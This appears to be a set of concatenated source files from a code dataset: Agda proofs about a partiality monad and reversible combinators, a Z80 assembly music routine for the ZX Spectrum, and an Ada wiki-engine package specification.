∥ ∃ (λ (p : ∃ (λ z → x ≡ z)) → f (proj₁ p) ⇓ y) ∥ ↔⟨ ∥∥-cong (inverse Σ-assoc) ⟩
∥ ∃ (λ z → x ≡ z × f z ⇓ y) ∥ ↔⟨ inverse $ Trunc.flatten′
(λ F → ∃ (λ _ → F (_ ≡ _) × _))
(λ f → Σ-map id (Σ-map f id))
(λ { (x , y , z) → ∥∥-map ((x ,_) ∘ (_, z)) y }) ⟩
∥ ∃ (λ z → ∥ x ≡ z ∥ × f z ⇓ y) ∥ ↝⟨ ∥∥-cong (∃-cong λ _ → inverse now≡now≃∥≡∥ ×-cong F.id) ⟩□
∥ ∃ (λ z → now x ⇓ z × f z ⇓ y) ∥ □
; pl = λ s ih →
⨆ s >>=′ f ⇓ y ↝⟨ ≡⇒↝ _ (cong (_⇓ y) ⨆->>=) ⟩
⨆ (f ∗-inc s) ⇓ y ↝⟨ ⨆⇓≃∥∃⇓∥ ⟩
∥ (∃ λ n → s [ n ] >>=′ f ⇓ y) ∥ ↝⟨ ∥∥-cong (∃-cong ih) ⟩
∥ (∃ λ n → ∥ ∃ (λ z → s [ n ] ⇓ z × f z ⇓ y) ∥) ∥ ↔⟨ Trunc.flatten′ (λ F → ∃ λ _ → F (∃ λ _ → _ × _))
(λ f → Σ-map id f)
(uncurry λ x → ∥∥-map (x ,_)) ⟩
∥ (∃ λ n → ∃ λ z → s [ n ] ⇓ z × f z ⇓ y) ∥ ↔⟨ ∥∥-cong ∃-comm ⟩
∥ (∃ λ z → ∃ λ n → s [ n ] ⇓ z × f z ⇓ y) ∥ ↔⟨ ∥∥-cong (∃-cong λ _ → Σ-assoc) ⟩
∥ (∃ λ z → (∃ λ n → s [ n ] ⇓ z) × f z ⇓ y) ∥ ↔⟨ inverse $ Trunc.flatten′
(λ F → (∃ λ _ → F (∃ λ _ → _ ⇓ _) × _))
(λ f → Σ-map id (Σ-map f id))
(λ { (x , y , z) → ∥∥-map ((x ,_) ∘ (_, z)) y }) ⟩
∥ (∃ λ z → ∥ (∃ λ n → s [ n ] ⇓ z) ∥ × f z ⇓ y) ∥ ↝⟨ ∥∥-cong (∃-cong λ _ → inverse ⨆⇓≃∥∃⇓∥ ×-cong F.id) ⟩□
∥ ∃ (λ z → ⨆ s ⇓ z × f z ⇓ y) ∥ □
; pp = λ _ → Eq.right-closure ext 0 truncation-is-proposition
})
x
-- □ is closed, in a certain sense, under bind.
□->>= :
∀ {a b p q}
{A : Type a} {B : Type b} {P : A → Type p} {Q : B → Type q}
{x : A ⊥} {f : A → B ⊥} →
(∀ x → Is-proposition (Q x)) →
□ P x → (∀ {x} → P x → □ Q (f x)) → □ Q (x >>=′ f)
□->>= {Q = Q} {x} {f} Q-prop □-x □-f y =
x >>=′ f ⇓ y ↔⟨ >>=-⇓ ⟩
∥ (∃ λ z → x ⇓ z × f z ⇓ y) ∥ ↝⟨ Trunc.rec (Q-prop y) (λ { (z , x⇓z , fz⇓y) → □-f (□-x z x⇓z) y fz⇓y }) ⟩□
Q y □
-- ◇ is closed, in a certain sense, under bind.
◇->>= :
∀ {a b p q}
{A : Type a} {B : Type b} {P : A → Type p} {Q : B → Type q}
{x : A ⊥} {f : A → B ⊥} →
◇ P x → (∀ {x} → P x → ◇ Q (f x)) → ◇ Q (x >>=′ f)
◇->>= {x = x} {f} ◇-x ◇-f = Trunc.rec
truncation-is-proposition
(λ { (y , x⇓y , Py) →
∥∥-map (λ { (z , fy⇓z , Qz) →
z
, (x >>=′ f ≡⟨ cong (_>>=′ f) x⇓y ⟩
now y >>=′ f ≡⟨ now->>= ⟩
f y ≡⟨ fy⇓z ⟩∎
now z ∎)
, Qz
})
(◇-f Py)
})
◇-x
-- Certain nested occurrences of ⨆ can be replaced by a single one.
⨆>>=⨆≡⨆>>= :
∀ {a b} {A : Type a} {B : Type b} →
∀ (s : Increasing-sequence A) (f : A → Increasing-sequence B)
{inc₁ inc₂} →
⨆ ((λ n → s [ n ] >>=′ ⨆ ∘ f) , inc₁) ≡
⨆ ((λ n → s [ n ] >>=′ λ y → f y [ n ]) , inc₂)
⨆>>=⨆≡⨆>>= s f = antisymmetry
(least-upper-bound _ _ λ n →
_≃_.to ≼≃⊑ $ λ z →
s [ n ] >>=′ ⨆ ∘ f ⇓ z ↔⟨ >>=-⇓ ⟩
∥ (∃ λ y → s [ n ] ⇓ y × ⨆ (f y) ⇓ z) ∥ ↔⟨ ∥∥-cong (∃-cong λ _ → F.id ×-cong ⨆⇓≃∥∃⇓∥) ⟩
∥ (∃ λ y → s [ n ] ⇓ y × ∥ (∃ λ m → f y [ m ] ⇓ z) ∥) ∥ ↔⟨ Trunc.flatten′
(λ F → ∃ λ _ → _ × F (∃ λ _ → _ ⇓ _))
(λ f → Σ-map id (Σ-map id f))
(λ { (y , p , q) → ∥∥-map ((y ,_) ∘ (p ,_)) q }) ⟩
∥ (∃ λ y → s [ n ] ⇓ y × ∃ λ m → f y [ m ] ⇓ z) ∥ ↔⟨ ∥∥-cong (∃-cong λ _ → ∃-comm) ⟩
∥ (∃ λ y → ∃ λ m → s [ n ] ⇓ y × f y [ m ] ⇓ z) ∥ ↝⟨ ∥∥-map (Σ-map id lemma) ⟩
∥ (∃ λ y → ∃ λ m → s [ m ] ⇓ y × f y [ m ] ⇓ z) ∥ ↔⟨ ∥∥-cong ∃-comm ⟩
∥ (∃ λ m → ∃ λ y → s [ m ] ⇓ y × f y [ m ] ⇓ z) ∥ ↔⟨ inverse $ Trunc.flatten′
(λ F → ∃ λ _ → F (∃ λ _ → _ × _))
(λ f → Σ-map id f)
(λ { (m , p) → ∥∥-map (m ,_) p }) ⟩
∥ (∃ λ m → ∥ (∃ λ y → s [ m ] ⇓ y × f y [ m ] ⇓ z) ∥) ∥ ↔⟨ ∥∥-cong (∃-cong λ _ → inverse $ >>=-⇓) ⟩
∥ (∃ λ m → (s [ m ] >>=′ λ y → f y [ m ]) ⇓ z) ∥ ↔⟨ inverse ⨆⇓≃∥∃⇓∥ ⟩□
⨆ ((λ m → s [ m ] >>=′ λ y → f y [ m ]) , _) ⇓ z □)
(⨆-mono λ n →
(s [ n ] >>=′ λ y → f y [ n ]) ⊑⟨ ⊑-refl (s [ n ]) >>=-mono (λ y → upper-bound (f y) n) ⟩■
(s [ n ] >>=′ ⨆ ∘ f) ■)
where
lemma :
∀ {n y z} →
(∃ λ m → s [ n ] ⇓ y × f y [ m ] ⇓ z) →
(∃ λ m → s [ m ] ⇓ y × f y [ m ] ⇓ z)
lemma {n} (m , p , q) with Nat.total m n
... | inj₁ m≤n = n
, p
, _≃_.from ≼≃⊑ (later-larger (f _) m≤n) _ q
... | inj₂ n≤m = m
, _≃_.from ≼≃⊑ (later-larger s n≤m) _ p
, q
|
vibra/tasks_data.asm | bushy555/ZX-Spectrum-1-Bit-Routines | 59 | 712 | <reponame>bushy555/ZX-Spectrum-1-Bit-Routines
;*******************************************************************************
task_read_seq
ld (taskPointer_rs),sp ;20
seqPointer equ $+1
ld sp,0 ;10
exx ;4
inc hl ;6 ;timing
pop hl ;10
ld a,ixh ;8 ;load output state ch1
out (#fe),a ;11___80
ld a,h ;4
or l ;4
IF looping = 0
jp z,exit ;10
ELSE
jp z,doLoop ;10
ENDIF
ld (ptnPointer),hl ;16
ld hl,task_read_ptn ;10
ld a,0 ;7 ;timing
ld a,iyh ;8 ;load output state ch2
out (#fe),a ;11___80
ld (seqPointer),sp ;20
taskPointer_rs equ $+1
ld sp,0 ;10
push hl ;11 ;push event on task stack
exx ;4
nop ;4
ld a,h ;4 ;cheating a bit with noise output
out (#fe),a ;11___64
jp soundLoop ;10 ;-1t, oh well
doLoop
ld hl,mloop ;10
ld (seqPointer),hl ;16
exx ;4
nop ;4
ld a,iyh ;8
out (#fe),a ;11___81 (+1)
ld sp,(taskPointer_rs) ;20
dec sp ;6 ;task_read_seq is already on stack, just need to adjust pos
dec sp ;6
ld a,(noiseVolume) ;13 ;load noise output state
cp h ;4
sbc a,a ;4
out (#fe),a ;11___64
jp soundLoop ;10
check
;*******************************************************************************
IF (LOW($))!=0
org 256*(1+(HIGH($)))
ENDIF
bitCmdLookup
db 0
db #48 ;bit 1,b
ds 2,#50 ;bit 2,b
ds 4,#58 ;bit 3,b
ds 8,#60 ;bit 4,b
ds #10,#68 ;bit 5,b
ds #20,#70 ;bit 6,b
db #78 ;bit 7,b (engine will crash if B < #48)
;*******************************************************************************
task_read_ptn ;determine which channels will be reloaded, and push events to taskStack accordingly
;btw if possible, saving sp to hl' (ld hl,0, add hl,sp : ld sp,hl) is slightly faster than via mem (27t vs 30t)
;also, ld hl,mem_addr, ld a,(hl), ld (hl),a is faster than ld a,(mem_addr), ld (mem_addr),a (24 vs 26t)
ld (taskPointer_rp),sp ;20
ptnPointer equ $+1
ld sp,0 ;10
pop af ;11
ld i,a ;9 ;timer hi
ld a,ixh ;8
out (#fe),a ;11___80
jr z,prepareSeqRead ;12/7
ld (ptnPointer),sp ;20 ;TODO unaccounted for timing
taskPointer_rp equ $+1
ld sp,0 ;10
exx ;4
jp m,noUpdateNoise ;10
ld hl,task_read_noise ;10
push hl ;11
jp pe,noUpdateCh2 ;10
ld a,iyh ;8
out (#fe),a ;11__81 hmmok
ld hl,task_read_ch2 ;10
push hl ;11
jp c,noUpdateCh1 ;10
ld hl,task_read_ch1 ;10
push hl ;11
exx ;4
ld a,h ;4 ;fake noise output
out (#fe),a ;11__71 hmmmm
jp soundLoop ;10
prepareSeqRead
ld sp,(taskPointer_rp) ;20
exx ;4
ld hl,task_read_seq ;10
push hl ;11
exx ;4
ld a,iyh ;8
out (#fe),a ;11___80
ld a,0 ;7 ;timing
ld a,0 ;7 ;timing
ld a,0 ;7 ;timing
ld a,0 ;7 ;timing
nop ;4
ld a,(noiseVolume) ;13
cp h ;4
sbc a,a ;4
out (#fe),a ;11__64
jp soundLoop ;10
noUpdateNoise
jp pe,noUpdateCh2 ;10
ld hl,task_read_ch2 ;10
push hl ;11
ld a,iyh ;8
out (#fe),a ;11__81
jp c,noUpdateCh1 ;10
ld hl,task_read_ch1 ;10
push hl ;11
exx ;4
ld a,(noiseVolume) ;13
cp h ;4
sbc a,a ;4
out (#fe),a ;11__67
jp soundLoop ;10
noUpdateCh2
ld a,iyh ;8
out (#fe),a ;11__81
jp c,noUpdateCh1 ;10
ld hl,task_read_ch1 ;10
push hl ;11
exx ;4
ld a,(noiseVolume) ;13
cp h ;4
sbc a,a ;4
out (#fe),a ;11__67
jp soundLoop ;10
noUpdateCh1
ld a,r ;9 ;timing
ld a,r ;9 ;timing
exx ;4
ld a,(noiseVolume) ;13
cp h ;4
sbc a,a ;4
out (#fe),a ;11__64
jp soundLoop ;10
;*******************************************************************************
task_read_ch1 ;update ch1 data
ld (taskPointer_c1),sp ;20
ld sp,(ptnPointer) ;20
pop de ;11 ;fetch note divider ch1
ld a,ixh ;8
out (#fe),a ;11___81
ld a,d ;4
add a,a ;4
jr c,noFxReloadCh1 ;12/7 ;if MSB of divider was set, skip fx
pop bc ;11 ;retrieve fx setting
ld (ptnPointer),sp ;20
ld a,b ;4
add a,a ;4
ld a,iyh ;8
jr z,doSlideCh1 ;12/7 ;if (B != 0) && (B != #80) do vibrato
out (#fe),a ;11___80
ld ix,0 ;14 ;reset channel accu
taskPointer_c1 equ $+1
ld sp,0 ;10
exx ;4
ld hl,task_read_vib1 ;10 ;we can't complete vibrato setup in this round,
push hl ;11 ;so let's push another task
exx ;4
out (#fe),a ;11___64
jp soundLoop ;10
noFxReloadCh1
ccf ;4 ;clear bit 15 of base divider
rrca ;4
ld d,a ;4
ld a,r ;9 ;timing
ld (ptnPointer),sp ;20
ld a,iyh ;8
out (#fe),a ;11___80
ld sp,(taskPointer_c1) ;20
ld ix,0 ;14 ;reset channel accu
vibrInit1 equ $+1
ld b,0 ;7 ;reset vibrato init value
ld a,0 ;7 ;timing
nop ;4
ld a,h ;4 ;fake noise
out (#fe),a ;11___64
jp soundLoop ;10
doSlideCh1
out (#fe),a ;11___85 cough cough
ld sp,(taskPointer_c1) ;20
jp c,doSlideUpCh1 ;10 ;determine slide direction
ld a,#c3 ;7 ;jp = slide down
ld (fxType1),a ;13
ld a,h ;4
out (#fe),a ;11___65 fake noise
jp soundLoop ;10
doSlideUpCh1
ld a,#da ;7 ;jp c = slide up
ld (fxType1),a ;13
ld a,h ;4
out (#fe),a ;11___65 fake noise
jp soundLoop ;10
;*******************************************************************************
task_read_vib1
ld a,#ca ;7 ;jp z = vibrato
ld (fxType1),a ;13
exx ;4
dec hl ;6 ;timing
ld hl,(ptnPointer) ;16
nop ;4
ld a,ixh ;8
out (#fe),a ;11___80
dec hl ;6
ld a,(hl) ;7 ;peek at vibrato init setting
ld h,HIGH(bitCmdLookup) ;7 ;look up bit x,b command patch
ld l,a ;4
ld (vibrInit1),a ;13 ;store vibrato init setting for later
ld a,(hl) ;7
ld (vibrSpeed1),a ;13
exx ;4
ld a,iyh ;8
out (#fe),a ;11___80
ds 8 ;32
ld a,(noiseVolume) ;13
cp h ;4
sbc a,a ;4
out (#fe),a ;11___64
jp soundLoop ;10
;*******************************************************************************
task_read_ch2 ;update ch2 data
ld (taskPointer_c2),sp ;20
ld sp,(ptnPointer) ;20
exx ;4
pop de ;11 ;fetch note divider ch2
ld a,ixh ;8
out (#fe),a ;11___85
ld a,d ;4
add a,a ;4
jr c,noFxReloadCh2 ;12/7 ;if MSB of divider was set, skip fx
pop hl ;11 ;retrieve fx setting
ld (ptnPointer),sp ;20
ld a,h ;4
ld b,a ;4
add a,a ;4
ld a,iyh ;8
jr z,doSlideCh2 ;12/7 ;if (B != 0) && (B != #80) do vibrato
out (#fe),a ;11___84
ld a,l ;4
ld (fxDepth2),a ;13
ld iyh,0 ;11 ;el cheapo accu reset
taskPointer_c2 equ $+1
ld sp,0 ;10
ld hl,task_read_vib2 ;10 ;we can't complete vibrato setup in this round,
push hl ;11 ;so let's push another task
exx ;4
out (#fe),a ;11___74 hrrm
jp soundLoop ;10
noFxReloadCh2
ccf ;4 ;clear bit 15 of base divider
rrca ;4
ld d,a ;4
ld a,r ;9 ;timing
ld (ptnPointer),sp ;20
ld a,iyh ;8
out (#fe),a ;11___80
ld sp,(taskPointer_c2) ;20
ld iy,0 ;14 ;reset channel accu
vibrInit2 equ $+1
ld b,0 ;7 ;reset vibrato init value
ld a,0 ;7 ;timing
exx ;4
ld a,h ;4 ;fake noise
out (#fe),a ;11___64
jp soundLoop ;10
doSlideCh2
out (#fe),a ;11___85 cough cough
exx ;4
ld sp,(taskPointer_c2) ;20
jr nc,doSlideDownCh2 ;12/7 ;determine slide direction
ld a,#da ;7 ;jp c = slide up
ld (fxType2),a ;13
ld a,h ;4
out (#fe),a ;11___66 fake noise
jp soundLoop ;10
doSlideDownCh2
ld a,#c3 ;7 ;jp = slide down
ld (fxType2),a ;13
out (#fe),a ;11___67 fake noise (A = #c3, so will always output 0)
jp soundLoop ;10
;*******************************************************************************
task_read_vib2
ld a,#ca ;7 ;jp z = vibrato
ld (fxType2),a ;13
exx ;4
dec hl ;6 ;timing
ld hl,(ptnPointer) ;16
nop ;4
ld a,ixh ;8
out (#fe),a ;11___80
dec hl ;6
ld a,(hl) ;7 ;peek at vibrato init setting
ld h,HIGH(bitCmdLookup) ;7 ;look up bit x,b command patch
ld l,a ;4
ld (vibrInit2),a ;13 ;store vibrato init setting for later
ld a,(hl) ;7
ld (vibrSpeed2),a ;13
exx ;4
ld a,iyh ;8
out (#fe),a ;11___80
ds 8 ;32
ld a,(noiseVolume) ;13
cp h ;4
sbc a,a ;4
out (#fe),a ;11___64
jp soundLoop ;10
;*******************************************************************************
task_read_noise
ld (taskPointer_n),sp ;20
ld sp,(ptnPointer) ;20
pop hl ;11
ld a,ixh ;8
out (#fe),a ;11___81
ld (ptnPointer),sp ;20
ld a,h ;4
ld (noisePitch),a ;13
ld a,l ;4
ld (noiseVolume),a ;13
ld a,0 ;7 ;timing
ld a,iyh ;8
out (#fe),a ;11___80
ld a,0 ;7 ;timing
ex af,af' ;4
ld a,h ;4 ;update prescaler
ex af,af' ;4
taskPointer_n equ $+1
ld sp,0 ;10
ld hl,1 ;10
xor a ;4
out (#fe),a ;11___64
jp soundLoop ;10
;******************************************************************************* |
src/wiki.ads | jquorning/ada-wiki | 18 | 3861 | -----------------------------------------------------------------------
-- wiki -- Ada Wiki Engine
-- Copyright (C) 2015, 2016, 2020, 2021 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
-- = Wiki =
-- The Wiki engine parses a Wiki text in several Wiki syntax such as `MediaWiki`,
-- `Creole`, `Markdown`, `Dotclear` and renders the result either in HTML, text or into
-- another Wiki format. The Wiki engine is used in two steps:
--
-- * The Wiki text is parsed according to its syntax to produce a Wiki Document instance.
-- * The Wiki document is then rendered by a renderer to produce the final HTML, text.
--
-- Through this process, it is possible to insert filters and plugins to customize the
-- parsing and the rendering.
--
-- [images/ada-wiki.png]
--
-- The Ada Wiki engine is organized in several packages:
--
-- * The [Wiki Streams](#wiki-streams) packages define the interface, types and operations
-- for the Wiki engine to read the Wiki or HTML content and for the Wiki renderer to generate
-- the HTML or text outputs.
-- * The [Wiki parser](#wiki-parsers) is responsible for parsing HTML or Wiki content
-- according to a selected Wiki syntax. It builds the final Wiki document through filters
-- and plugins.
-- * The [Wiki Filters](#wiki-filters) provides a simple filter framework that allows to plug
-- specific filters when a Wiki document is parsed and processed. Filters are used for the
-- table of content generation, for the HTML filtering, to collect words or links
-- and so on.
-- * The [Wiki Plugins](#wiki-plugins) defines the plugin interface that is used
-- by the Wiki engine to provide pluggable extensions in the Wiki. Plugins are used
-- for the Wiki template support, to hide some Wiki text content when it is rendered
-- or to interact with other systems.
-- * The Wiki documents and attributes are used for the representation of the Wiki
-- document after the Wiki content is parsed.
-- * The [Wiki renderers](@wiki-render) are the last packages which are used for the rendering
-- of the Wiki document to produce the final HTML or text.
--
-- @include-doc docs/Tutorial.md
-- @include wiki-documents.ads
-- @include wiki-attributes.ads
-- @include wiki-parsers.ads
-- @include wiki-filters.ads
-- @include wiki-plugins.ads
-- @include wiki-render.ads
-- @include wiki-streams.ads
package Wiki is
pragma Preelaborate;
-- Defines the possible wiki syntax supported by the parser.
type Wiki_Syntax
is (
-- Google wiki syntax http://code.google.com/p/support/wiki/WikiSyntax
SYNTAX_GOOGLE,
-- Creole wiki syntax http://www.wikicreole.org/wiki/Creole1.0
SYNTAX_CREOLE,
-- Dotclear syntax http://dotclear.org/documentation/2.0/usage/syntaxes
SYNTAX_DOTCLEAR,
-- PhpBB syntax http://wiki.phpbb.com/Help:Formatting
SYNTAX_PHPBB,
-- MediaWiki syntax http://www.mediawiki.org/wiki/Help:Formatting
SYNTAX_MEDIA_WIKI,
-- Markdown
SYNTAX_MARKDOWN,
-- A mix of the above
SYNTAX_MIX,
-- The input is plain possibly incorrect HTML.
SYNTAX_HTML);
-- Defines the possible text formats.
type Format_Type is (BOLD, ITALIC, CODE, SUPERSCRIPT, SUBSCRIPT, STRIKEOUT, PREFORMAT);
type Format_Map is array (Format_Type) of Boolean;
-- The possible HTML tags as described in HTML5 specification.
type Html_Tag is
(
-- Section 4.1 The root element
ROOT_HTML_TAG,
-- Section 4.2 Document metadata
HEAD_TAG, TITLE_TAG, BASE_TAG, LINK_TAG, META_TAG, STYLE_TAG,
-- Section 4.3 Sections
BODY_TAG, ARTICLE_TAG, SECTION_TAG, NAV_TAG, ASIDE_TAG,
H1_TAG, H2_TAG, H3_TAG, H4_TAG, H5_TAG, H6_TAG,
HEADER_TAG, FOOTER_TAG,
ADDRESS_TAG,
-- Section 4.4 Grouping content
P_TAG, HR_TAG, PRE_TAG, BLOCKQUOTE_TAG,
OL_TAG, UL_TAG, LI_TAG,
DL_TAG, DT_TAG, DD_TAG,
FIGURE_TAG, FIGCAPTION_TAG,
DIV_TAG, MAIN_TAG,
-- Section 4.5 Text-level semantics
A_TAG, EM_TAG, STRONG_TAG, SMALL_TAG,
S_TAG, CITE_TAG, Q_TAG, DFN_TAG, ABBR_TAG,
DATA_TAG, TIME_TAG, CODE_TAG, VAR_TAG, SAMP_TAG,
KBD_TAG, SUB_TAG, SUP_TAG,
I_TAG, B_TAG, U_TAG,
MARK_TAG, RUBY_TAG, RB_TAG, RT_TAG, RTC_TAG,
RP_TAG, BDI_TAG, BDO_TAG, SPAN_TAG,
BR_TAG, WBR_TAG,
-- Section 4.6 Edits
INS_TAG, DEL_TAG,
-- Section 4.7 Embedded content
IMG_TAG,
IFRAME_TAG,
EMBED_TAG,
OBJECT_TAG,
PARAM_TAG,
VIDEO_TAG,
AUDIO_TAG,
SOURCE_TAG,
TRACK_TAG,
MAP_TAG,
AREA_TAG,
-- Section 4.9 Tabular data
TABLE_TAG, CAPTION_TAG, COLGROUP_TAG, COL_TAG,
TBODY_TAG, THEAD_TAG, TFOOT_TAG,
TR_TAG, TD_TAG, TH_TAG,
-- Section 4.10 Forms
FORM_TAG, LABEL_TAG, INPUT_TAG,
BUTTON_TAG, SELECT_TAG, DATALIST_TAG, OPTGROUP_TAG,
OPTION_TAG, TEXTAREA_TAG, KEYGEN_TAG, OUTPUT_TAG,
PROGRESS_TAG, METER_TAG, FIELDSET_TAG, LEGEND_TAG,
-- Section 4.11 Scripting
SCRIPT_TAG, NOSCRIPT_TAG,
TEMPLATE_TAG, CANVAS_TAG,
-- Deprecated tags but still used widely
TT_TAG,
-- Unknown tags
UNKNOWN_TAG
);
-- Find the tag from the tag name.
function Find_Tag (Name : in Wide_Wide_String) return Html_Tag;
type String_Access is access constant String;
-- Get the HTML tag name.
function Get_Tag_Name (Tag : in Html_Tag) return String_Access;
type Tag_Boolean_Array is array (Html_Tag) of Boolean;
No_End_Tag : constant Tag_Boolean_Array :=
(
BASE_TAG => True,
LINK_TAG => True,
META_TAG => True,
IMG_TAG => True,
HR_TAG => True,
BR_TAG => True,
WBR_TAG => True,
INPUT_TAG => True,
KEYGEN_TAG => True,
others => False);
Tag_Omission : constant Tag_Boolean_Array :=
(
-- Section 4.4 Grouping content
LI_TAG => True,
DT_TAG => True,
DD_TAG => True,
-- Section 4.5 Text-level semantics
RB_TAG => True,
RT_TAG => True,
RTC_TAG => True,
RP_TAG => True,
-- Section 4.9 Tabular data
TH_TAG => True,
TD_TAG => True,
TR_TAG => True,
TBODY_TAG => True,
THEAD_TAG => True,
TFOOT_TAG => True,
OPTGROUP_TAG => True,
OPTION_TAG => True,
others => False);
end Wiki;
|
Univalence/Obsolete/Pif.agda | JacquesCarette/pi-dual | 14 | 5045 | {-# OPTIONS --without-K #-}
module Pif where
open import Relation.Binary.PropositionalEquality
using (_≡_; refl; sym; trans; subst; subst₂; cong; cong₂; setoid;
proof-irrelevance; module ≡-Reasoning)
open import Data.Nat.Properties using (m≢1+m+n; i+j≡0⇒i≡0; i+j≡0⇒j≡0)
open import Data.Nat.Properties.Simple
using (+-right-identity; +-suc; +-assoc; +-comm;
*-assoc; *-comm; *-right-zero; distribʳ-*-+)
open import Relation.Binary.Core using (Transitive)
open import Data.String using (String)
renaming (_++_ to _++S_)
open import Data.Nat.Show using (show)
open import Data.Bool using (Bool; false; true; _∧_; _∨_)
open import Data.Nat using (ℕ; suc; _+_; _∸_; _*_; _<_; _≮_; _≤_; _≰_;
z≤n; s≤s; _≟_; _≤?_; module ≤-Reasoning)
open import Data.Fin
using (Fin; zero; suc; toℕ; fromℕ; _ℕ-_; _≺_;
raise; inject+; inject₁; inject≤; _≻toℕ_)
renaming (_+_ to _F+_)
open import Data.Vec
using (Vec; tabulate; []; _∷_ ; tail; lookup; zip; zipWith; splitAt;
_[_]≔_; allFin; toList)
renaming (_++_ to _++V_; map to mapV; concat to concatV)
open import Data.Empty using (⊥; ⊥-elim)
open import Data.Unit using (⊤; tt)
open import Data.Sum using (_⊎_; inj₁; inj₂)
open import Data.Product using (_×_; _,_; proj₁; proj₂)
open import PiLevel0
open import Cauchy
open import Perm
open import Proofs
open import CauchyProofs
open import CauchyProofsT
open import CauchyProofsS
open import Groupoid
------------------------------------------------------------------------------
-- A combinator t₁ ⟷ t₂ denotes a permutation.
c2cauchy : {t₁ t₂ : U} → (c : t₁ ⟷ t₂) → Cauchy (size t₁)
-- the cases that do not inspect t₁ and t₂ should be at the beginning
-- so that Agda would unfold them
c2cauchy (c₁ ◎ c₂) =
scompcauchy
(c2cauchy c₁)
(subst Cauchy (size≡! c₁) (c2cauchy c₂))
c2cauchy (c₁ ⊕ c₂) = pcompcauchy (c2cauchy c₁) (c2cauchy c₂)
c2cauchy (c₁ ⊗ c₂) = tcompcauchy (c2cauchy c₁) (c2cauchy c₂)
c2cauchy {PLUS ZERO t} unite₊ = idcauchy (size t)
c2cauchy {t} uniti₊ = idcauchy (size t)
c2cauchy {PLUS t₁ t₂} swap₊ = swap+cauchy (size t₁) (size t₂)
c2cauchy {PLUS t₁ (PLUS t₂ t₃)} assocl₊ =
idcauchy (size t₁ + (size t₂ + size t₃))
c2cauchy {PLUS (PLUS t₁ t₂) t₃} assocr₊ =
idcauchy ((size t₁ + size t₂) + size t₃)
c2cauchy {TIMES ONE t} unite⋆ =
subst Cauchy (sym (+-right-identity (size t))) (idcauchy (size t))
c2cauchy {t} uniti⋆ = idcauchy (size t)
c2cauchy {TIMES t₁ t₂} {TIMES .t₂ .t₁} swap⋆ = swap⋆cauchy (size t₁) (size t₂)
c2cauchy {TIMES t₁ (TIMES t₂ t₃)} assocl⋆ =
idcauchy (size t₁ * (size t₂ * size t₃))
c2cauchy {TIMES (TIMES t₁ t₂) t₃} assocr⋆ =
idcauchy ((size t₁ * size t₂) * size t₃)
c2cauchy {TIMES ZERO t} distz = []
c2cauchy factorz = []
c2cauchy {TIMES (PLUS t₁ t₂) t₃} dist =
idcauchy ((size t₁ + size t₂) * size t₃)
c2cauchy {PLUS (TIMES t₁ t₃) (TIMES t₂ .t₃)} factor =
idcauchy ((size t₁ * size t₃) + (size t₂ * size t₃))
c2cauchy {t} id⟷ = idcauchy (size t)
c2perm : {t₁ t₂ : U} → (c : t₁ ⟷ t₂) → Permutation (size t₁)
-- the cases that do not inspect t₁ and t₂ should be at the beginning
-- so that Agda would unfold them
c2perm (c₁ ◎ c₂) =
scompperm
(c2perm c₁)
(subst Permutation (size≡! c₁) (c2perm c₂))
c2perm (c₁ ⊕ c₂) = pcompperm (c2perm c₁) (c2perm c₂)
c2perm (c₁ ⊗ c₂) = tcompperm (c2perm c₁) (c2perm c₂)
c2perm unfoldBool = idperm 2
c2perm foldBool = idperm 2
c2perm {PLUS ZERO t} unite₊ = idperm (size t)
c2perm {t} uniti₊ = idperm (size t)
c2perm {PLUS t₁ t₂} swap₊ = swap+perm (size t₁) (size t₂)
c2perm {PLUS t₁ (PLUS t₂ t₃)} assocl₊ =
idperm (size t₁ + (size t₂ + size t₃))
c2perm {PLUS (PLUS t₁ t₂) t₃} assocr₊ =
idperm ((size t₁ + size t₂) + size t₃)
c2perm {TIMES ONE t} unite⋆ =
subst Permutation (sym (+-right-identity (size t))) (idperm (size t))
c2perm {t} uniti⋆ = idperm (size t)
c2perm {TIMES t₁ t₂} {TIMES .t₂ .t₁} swap⋆ = swap⋆perm (size t₁) (size t₂)
c2perm {TIMES t₁ (TIMES t₂ t₃)} assocl⋆ =
idperm (size t₁ * (size t₂ * size t₃))
c2perm {TIMES (TIMES t₁ t₂) t₃} assocr⋆ =
idperm ((size t₁ * size t₂) * size t₃)
c2perm {TIMES ZERO t} distz = emptyperm
c2perm factorz = emptyperm
c2perm {TIMES (PLUS t₁ t₂) t₃} dist =
idperm ((size t₁ + size t₂) * size t₃)
c2perm {PLUS (TIMES t₁ t₃) (TIMES t₂ .t₃)} factor =
idperm ((size t₁ * size t₃) + (size t₂ * size t₃))
c2perm {t} id⟷ = idperm (size t)
-- Looking forward to Sec. 2.2 (Functions are functors). The
-- corresponding statement to Lemma 2.2.1 in our setting would be the
-- following. Given any *size preserving* function f : U → U, it is
-- the case that a combinator (path) c : t₁ ⟷ t₂ maps to a combinator
-- (path) ap_f(c) : f(t₁) ⟷ f(t₂).
------------------------------------------------------------------------------
-- Extensional equivalence of combinators
-- Two combinators are equivalent if they denote the same
-- permutation. Generally we would require that the two permutations
-- map the same value x to values y and z that have a path between
-- them, but because the internals of each type are discrete
-- groupoids, this reduces to saying that y and z are identical, and
-- hence that the permutations are identical.
infix 10 _∼_
_∼_ : {t₁ t₂ : U} → (c₁ c₂ : t₁ ⟷ t₂) → Set
c₁ ∼ c₂ = (c2cauchy c₁ ≡ c2cauchy c₂)
-- The relation ~ is an equivalence relation
refl∼ : {t₁ t₂ : U} {c : t₁ ⟷ t₂} → (c ∼ c)
refl∼ = refl
sym∼ : {t₁ t₂ : U} {c₁ c₂ : t₁ ⟷ t₂} → (c₁ ∼ c₂) → (c₂ ∼ c₁)
sym∼ = sym
trans∼ : {t₁ t₂ : U} {c₁ c₂ c₃ : t₁ ⟷ t₂} → (c₁ ∼ c₂) → (c₂ ∼ c₃) → (c₁ ∼ c₃)
trans∼ = trans
assoc∼ : {t₁ t₂ t₃ t₄ : U} {c₁ : t₁ ⟷ t₂} {c₂ : t₂ ⟷ t₃} {c₃ : t₃ ⟷ t₄} →
